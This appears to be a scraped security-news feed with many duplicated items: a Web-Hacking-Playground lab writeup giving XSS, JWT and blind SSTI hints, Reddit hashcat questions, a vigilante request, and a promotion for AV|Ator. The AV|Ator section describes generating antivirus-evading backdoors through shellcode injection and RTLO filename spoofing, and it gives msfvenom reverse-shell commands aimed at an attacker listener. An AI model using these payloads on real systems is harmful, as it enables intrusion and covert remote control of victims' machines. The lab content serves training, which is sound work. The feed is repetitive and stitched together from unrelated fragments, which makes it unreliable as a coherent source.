SSTI (Server-side template injection) to RCE
https://aditya-chauhan17.medium.com/ssti-server-side-template-injection-to-rce-3f0a325a074e?source=rss------bug_bounty-5
Server-side template injection (SSTI) is a vulnerability that arises when untrusted user input is included in a server-side template.Continue reading on Medium » (https://aditya-chauhan17.medium.com/ssti-server-side-template-injection-to-rce-3f0a325a074e?source=rss------bug_bounty-5)
https://aditya-chauhan17.medium.com/ssti-server-side-template-injection-to-rce-3f0a325a074e?source=rss------bug_bounty-5
Server-side template injection (SSTI) is a vulnerability that arises when untrusted user input is included in a server-side template.Continue reading on Medium » (https://aditya-chauhan17.medium.com/ssti-server-side-template-injection-to-rce-3f0a325a074e?source=rss------bug_bounty-5)
Web-Hacking-Playground - Web Application With Vulnerabilities Found In Real Cases, Both In Pentests And In Bug Bounty Programs
http://www.kitploit.com/2023/02/web-hacking-playground-web-application.html
http://www.kitploit.com/2023/02/web-hacking-playground-web-application.html
Web Hacking Playground is a controlled web hacking environment. It consists of vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) found in real cases, both in pentests and in Bug Bounty programs. The objective is that users can practice with them, and learn to detect and exploit them. Other topics of interest will also be addressed, such as: bypassing filters by creating custom payloads, executing chained attacks exploiting various vulnerabilities, developing proof-of-concept scripts, among others.
Important The application source code is visible. However, the lab's approach is a black box one. Therefore, the code should not be reviewed to resolve the challenges. Additionally, it should be noted that fuzzing (both parameters and directories) and brute force attacks (https://www.kitploit.com/search/label/Brute%20Force%20Attacks) do not provide any advantage in this lab. Setup It is recommended to use Kali Linux (https://www.kali.org/get-kali/) to perform this lab. In case of using a virtual machine, it is advisable to use the VMware Workstation Player (https://www.vmware.com/products/workstation-player/workstation-player-evaluation.html) hypervisor. The environment is based on Docker and Docker Compose, so it is necessary to have both installed. To install Docker on Kali Linux, run the following commands: sudo apt update -y
sudo apt install -y docker.io
sudo systemctl enable docker --now
sudo usermod -aG docker $USER
To install Docker on other Debian-based distributions, run the following commands: curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh
sudo systemctl enable docker --now
sudo usermod -aG docker $USER
It is recommended to log out and log in again so that the user is recognized as belonging to the docker group. To install Docker Compose, run the following command: sudo apt install -y docker-compose
Note: In case of using M1 it is recommended to execute the following command before building the images: export DOCKER_DEFAULT_PLATFORM=linux/amd64
The next step is to clone the repository and build the Docker images: git clone https://github.com/takito1812/web-hacking-playground.git
cd web-hacking-playground
docker-compose build
Also, it is recommended to install the Foxy Proxy (https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/) browser extension, which allows you to easily change proxy settings, and Burp Suite (https://portswigger.net/burp/communitydownload), which we will use to intercept HTTP requests. We will create a new profile in Foxy Proxy to use Burp Suite as a proxy. To do this, we go to the Foxy Proxy options, and add a proxy with the following configuration: Proxy Type: HTTP Proxy IP address: 127.0.0.1 Port: 8080 Deployment Once everything you need is installed, you can deploy the environment with the following command: git clone https://github.com/takito1812/web-hacking-playground.git
cd web-hacking-playground
docker-compose up -d
This will create two containers of applications developed in Flask on port 80: The vulnerable web application (Socially): Simulates a social network. The exploit server: You should not try to hack it, since it does not have any vulnerabilities. Its objective is to simulate a victim's access to a malicious link. Important It is necessary to add the IP of the containers to the /etc/hosts file, so that they can be accessed by name and that the exploit server can communicate with the vulnerable web application. To do this, run the following commands: sudo sed -i '/whp-/d' /etc/hosts
echo "$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' whp-socially) whp-socially" | sudo tee -a /etc/hosts
echo "$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' whp-exploitserver) whp-exploitserver" | sudo tee -a /etc/hosts
Important The application source code is visible. However, the lab's approach is a black box one. Therefore, the code should not be reviewed to resolve the challenges. Additionally, it should be noted that fuzzing (both parameters and directories) and brute force attacks (https://www.kitploit.com/search/label/Brute%20Force%20Attacks) do not provide any advantage in this lab. Setup It is recommended to use Kali Linux (https://www.kali.org/get-kali/) to perform this lab. In case of using a virtual machine, it is advisable to use the VMware Workstation Player (https://www.vmware.com/products/workstation-player/workstation-player-evaluation.html) hypervisor. The environment is based on Docker and Docker Compose, so it is necessary to have both installed. To install Docker on Kali Linux, run the following commands: sudo apt update -y
sudo apt install -y docker.io
sudo systemctl enable docker --now
sudo usermod -aG docker $USER
To install Docker on other Debian-based distributions, run the following commands: curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh
sudo systemctl enable docker --now
sudo usermod -aG docker $USER
It is recommended to log out and log in again so that the user is recognized as belonging to the docker group. To install Docker Compose, run the following command: sudo apt install -y docker-compose
Note: In case of using M1 it is recommended to execute the following command before building the images: export DOCKER_DEFAULT_PLATFORM=linux/amd64
The next step is to clone the repository and build the Docker images: git clone https://github.com/takito1812/web-hacking-playground.git
cd web-hacking-playground
docker-compose build
Also, it is recommended to install the Foxy Proxy (https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/) browser extension, which allows you to easily change proxy settings, and Burp Suite (https://portswigger.net/burp/communitydownload), which we will use to intercept HTTP requests. We will create a new profile in Foxy Proxy to use Burp Suite as a proxy. To do this, we go to the Foxy Proxy options, and add a proxy with the following configuration: Proxy Type: HTTP Proxy IP address: 127.0.0.1 Port: 8080 Deployment Once everything you need is installed, you can deploy the environment with the following command: git clone https://github.com/takito1812/web-hacking-playground.git
cd web-hacking-playground
docker-compose up -d
This will create two containers of applications developed in Flask on port 80: The vulnerable web application (Socially): Simulates a social network. The exploit server: You should not try to hack it, since it does not have any vulnerabilities. Its objective is to simulate a victim's access to a malicious link. Important It is necessary to add the IP of the containers to the /etc/hosts file, so that they can be accessed by name and that the exploit server can communicate with the vulnerable web application. To do this, run the following commands: sudo sed -i '/whp-/d' /etc/hosts
echo "$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' whp-socially) whp-socially" | sudo tee -a /etc/hosts
echo "$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' whp-exploitserver) whp-exploitserver" | sudo tee -a /etc/hosts
Stages The environment is divided into three stages, each with different vulnerabilities. It is important that they are done in order, as the vulnerabilities in the following stages build on those in the previous stages. The stages are: Stage 1: Access with any user Stage 2: Access as admin Stage 3: Read the /flag file Important Below are spoilers for each stage's vulnerabilities. If you don't need help, you can skip this section. On the other hand, if you don't know where to start, or want to check if you're on the right track, you can extend the section that interests you. Stage 1: Access with any user Display At this stage, a specific user's session can be stolen through Cross-Site Scripting (XSS), which allows JavaScript code to be executed. To do this, the victim must be able to access a URL in the user's context, this behavior can be simulated with the exploit server. The hints to solve this stage are: Are there any striking posts on the home page? You have to chain two vulnerabilities to steal the session. XSS is achieved by exploiting an Open Redirect (https://www.kitploit.com/search/label/Open%20Redirect) vulnerability, where the victim is redirected to an external URL. The Open Redirect has some security restrictions. You have to find how to get around them. Analyze which strings are not allowed in the URL. Cookies are not the only place where session information is stored. Reviewing the source code of the JavaScript files included in the application can help clear up doubts. Stage 2: Access as admin Display At this stage, a token can be generated that allows access as admin. This is a typical JSON Web Token (JWT) attack, in which the token payload can be modified to escalate privileges. The hint to solve this stage is that there is an endpoint that, given a JWT, returns a valid session cookie. Stage 3: Read the /flag file Display At this stage, the /flag file can be read through a Server Site Template Injection (SSTI) vulnerability. To do this, you must get the application to run Python code on the server. It is possible to execute system commands on the server. The hints to solve this stage are: Vulnerable functionality is protected by two-factor authentication. Therefore, before exploiting the SSTI, a way to bypass the OTP code request must be found. There are times when the application trusts the requests that are made from the same server and the HTTP headers play an important role in this situation. The SSTI is Blind, this means that the output of the code executed on the server is not obtained directly. The Python smtpd module allows you to create an SMTP server that prints messages it receives to standard output: sudo python3 -m smtpd -n -c DebuggingServer 0.0.0.0:25 The application uses Flask, so it can be inferred that the template engine is Jinja2 because it is recommended by the official Flask documentation and is widely used. You must get a Jinja2 compatible payload to get the final flag. The email message has a character limitation. Information on how to bypass this limitation can be found on the Internet. Solutions Detailed solutions for each stage can be found in the Solutions (https://github.com/takito1812/web-hacking-playground/tree/main/Solutions) folder. Resources The following resources may be helpful in resolving the stages: Google (https://www.google.com/) Twitter Advanced Search (https://twitter.com/search-advanced) HackTricks (https://book.hacktricks.xyz/) PortSwigger Learning Materials (https://portswigger.net/web-security/all-materials) Payloads All The Things (https://github.com/swisskyrepo/PayloadsAllTheThings) Payload Box (https://github.com/payloadbox) Collaboration Pull requests are welcome. If you find any bugs, please open an issue.
Download Web-Hacking-Playground (https://github.com/takito1812/web-hacking-playground)
Demystifying CORS
CORS can only be completed by mentioning SOP or same-origin policy. So we should start with SOP before diving into CORS.Continue reading on Medium »
Read more...
CORS can only be completed by mentioning SOP or same-origin policy. So we should start with SOP before diving into CORS.Continue reading on Medium »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
AV|Ator : Generator Utility To Bypass AV Detection
AV|Ator is a backdoor generator utility, which uses cryptographic and injection techniques in order to bypass AV detection. More specifically:
* It uses AES encryption in order to encrypt a given shellcode
* Generates an executable file which contains the encrypted payload
* The shellcode is decrypted and injected to the target system using various injection techniques
[https://attack.mitre.org/techniques/T1055/]:
1. Portable executable injection which involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue.
2. Thread execution hijacking which involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended. UsageThe application has a form which consists of three main inputs (See screenshot bellow):
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8dLWk_uda5IYYjS_uLmIWpNjkL4e83poRvENlbAfCkE9A0XDUGWoNdeajV4OSy17WmoeVpyerLsxinR5gV1vyxoVGszWony7ZIBJt1EfYS6cxUxw05ZpJQWa80iCwFwUlFcM_DM2n0FmnyAwIijcV4IT8qkUcD3WDt-j9G8FTcOayN1emW5Uxl25T/s16000/56884876-bca19480-6a73-11e9-8bbf-d249c4813e4e.png
1. A text containing the encryption key used to encrypt the shellcode
2. A text containing the IV used for AES encryption
3. A text containing the shellcode
Important note: The shellcode should be provided as a C# byte array.
The default values contain shellcode that executes notepad.exe (32bit). This demo is provided as an indication of how the code should be formed (using msfvenom, this can be easily done with the -f csharp switch, e.g. msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=XXXX -f csharp).
After filling the provided inputs and selecting the output path an executable is generated according to the chosen options. RTLO optionIn simple words, spoof an executable file to look like having an “innocent” extention like ‘pdf’, ‘txt’ etc. E.g. the file “testcod.exe” will be interpreted as “tesexe.doc”
Beware of the fact that some AVs alert the spoof by its own as a malware. Set custom iconI guess you all know what it is https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png Bypassing Kaspersky AV on a Win 10 x64 host (TEST CASE)Getting a shell in a windows 10 machine running fully updated kaspersky AV Target Machine: Windows 10 x641. Create the payload using msfvenom
3. Set the listener on the attacker machine
4. Run the generated exe on the victim machine InstallationWindows:Either compile the project or download the already compiled executable
Linux:
Install Mono according to your linux distribution, download and run the binaries
e.g. in kali:
AV|Ator : Generator Utility To Bypass AV Detection
AV|Ator is a backdoor generator utility, which uses cryptographic and injection techniques in order to bypass AV detection. More specifically:
* It uses AES encryption in order to encrypt a given shellcode
* Generates an executable file which contains the encrypted payload
* The shellcode is decrypted and injected to the target system using various injection techniques
[https://attack.mitre.org/techniques/T1055/]:
1. Portable executable injection which involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue.
2. Thread execution hijacking which involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended. UsageThe application has a form which consists of three main inputs (See screenshot bellow):
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8dLWk_uda5IYYjS_uLmIWpNjkL4e83poRvENlbAfCkE9A0XDUGWoNdeajV4OSy17WmoeVpyerLsxinR5gV1vyxoVGszWony7ZIBJt1EfYS6cxUxw05ZpJQWa80iCwFwUlFcM_DM2n0FmnyAwIijcV4IT8qkUcD3WDt-j9G8FTcOayN1emW5Uxl25T/s16000/56884876-bca19480-6a73-11e9-8bbf-d249c4813e4e.png
1. A text containing the encryption key used to encrypt the shellcode
2. A text containing the IV used for AES encryption
3. A text containing the shellcode
Important note: The shellcode should be provided as a C# byte array.
The default values contain shellcode that executes notepad.exe (32bit). This demo is provided as an indication of how the code should be formed (using msfvenom, this can be easily done with the -f csharp switch, e.g. msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=XXXX -f csharp).
After filling the provided inputs and selecting the output path an executable is generated according to the chosen options. RTLO optionIn simple words, spoof an executable file to look like having an “innocent” extention like ‘pdf’, ‘txt’ etc. E.g. the file “testcod.exe” will be interpreted as “tesexe.doc”
Beware of the fact that some AVs alert the spoof by its own as a malware. Set custom iconI guess you all know what it is https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png Bypassing Kaspersky AV on a Win 10 x64 host (TEST CASE)Getting a shell in a windows 10 machine running fully updated kaspersky AV Target Machine: Windows 10 x641. Create the payload using msfvenom
msfvenom -p windows/x64/shell/reverse_tcp_rc4 LHOST=10.0.2.15 LPORT=443 EXITFUNC=thread RC4PASSWORD=S3cr3TP4ssw0rd -f csharp2. Use AVIator with the following settings Target OS architecture: x64 Injection Technique: Thread Hijacking (Shellcode Arch: x64, OS arch: x64) Target procedure: explorer (leave the default)3. Set the listener on the attacker machine
4. Run the generated exe on the victim machine InstallationWindows:Either compile the project or download the already compiled executable
Linux:
Install Mono according to your linux distribution, download and run the binaries
e.g. in kali:
root@kali# apt install mono-devel
root@kali# mono aviator.exe CreditsDamon Mohammadbagher for the encryption procedure Click Here To Download
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Practicality of Hashcat, etc. on non-simple passwords?
Posted this question elsewhere, but I'm just wondering about the utility (practicality) of brute-force hash cracking a non-trivial password...
If we have something like a plain vanilla, non-salted, SHA-256 hash with the password being 14 characters of non-dictionary (intentionally mis-spelled) words and a few symbols/digits.
For argument's sake, lets say the symbols/numbers are not conveniently at the beginning or end of the password! Also, let's assume you checked haveibeenpwned to see if your chosen words are not in password lists and essentially not simple variations (ie: p@ssword, more like "Lewser" or something like that...).
If it is even theoretically possible, what kind of hashpower would be needed; a modest six-card mining rig, a couple of BTC ASICs, the entire BTC mining network ;)?
Thanks!
submitted by /u/rdude777
[link] [comments]
Practicality of Hashcat, etc. on non-simple passwords?
Posted this question elsewhere, but I'm just wondering about the utility (practicality) of brute-force hash cracking a non-trivial password...
If we have something like a plain vanilla, non-salted, SHA-256 hash with the password being 14 characters of non-dictionary (intentionally mis-spelled) words and a few symbols/digits.
For argument's sake, lets say the symbols/numbers are not conveniently at the beginning or end of the password! Also, let's assume you checked haveibeenpwned to see if your chosen words are not in password lists and essentially not simple variations (ie: p@ssword, more like "Lewser" or something like that...).
If it is even theoretically possible, what kind of hashpower would be needed; a modest six-card mining rig, a couple of BTC ASICs, the entire BTC mining network ;)?
Thanks!
submitted by /u/rdude777
[link] [comments]
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Does hashcat on WSL can use GPU?
Hi all, To my understanding when using hashcat on a virtual machine it can only use the CPU, my question is if I use hashcat on a WSL, can it use the GPU?
The question is specifically about hashcat but if you have a general answer for other programs as well (as teminals that are GPU accelerated) i would love to know.
Thanks in advance!
submitted by /u/XznX
[link] [comments]
Does hashcat on WSL can use GPU?
Hi all, To my understanding when using hashcat on a virtual machine it can only use the CPU, my question is if I use hashcat on a WSL, can it use the GPU?
The question is specifically about hashcat but if you have a general answer for other programs as well (as teminals that are GPU accelerated) i would love to know.
Thanks in advance!
submitted by /u/XznX
[link] [comments]
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Catching a malicious actor
Someone has been targeting my partner for the last couple of years, first they stole a bunch of her old photos and are making fake profiles online and defaming her publicly. Happened 4 times already.
Now they’ve gotten her financial information and are making charges on her credit card.
I work in Information Technology as an Infrastructure Engineer and Senior SysAdmin, but hacking is a different game for me, I’ve only played around with Kali in my homelab.
I know the Police won’t be of great help with this but we are still going to file a police report.
However, I need to to put my skills to good use and try to catch this son of a dirty whore, and hoping one of you blackhats/whitehats can guide me down a path by providing me with a strategy that I can use to take down this fucker. For educational purposes…
Feel free to DM me
submitted by /u/Ev1lC4t
[link] [comments]
Catching a malicious actor
Someone has been targeting my partner for the last couple of years, first they stole a bunch of her old photos and are making fake profiles online and defaming her publicly. Happened 4 times already.
Now they’ve gotten her financial information and are making charges on her credit card.
I work in Information Technology as an Infrastructure Engineer and Senior SysAdmin, but hacking is a different game for me, I’ve only played around with Kali in my homelab.
I know the Police won’t be of great help with this but we are still going to file a police report.
However, I need to to put my skills to good use and try to catch this son of a dirty whore, and hoping one of you blackhats/whitehats can guide me down a path by providing me with a strategy that I can use to take down this fucker. For educational purposes…
Feel free to DM me
submitted by /u/Ev1lC4t
[link] [comments]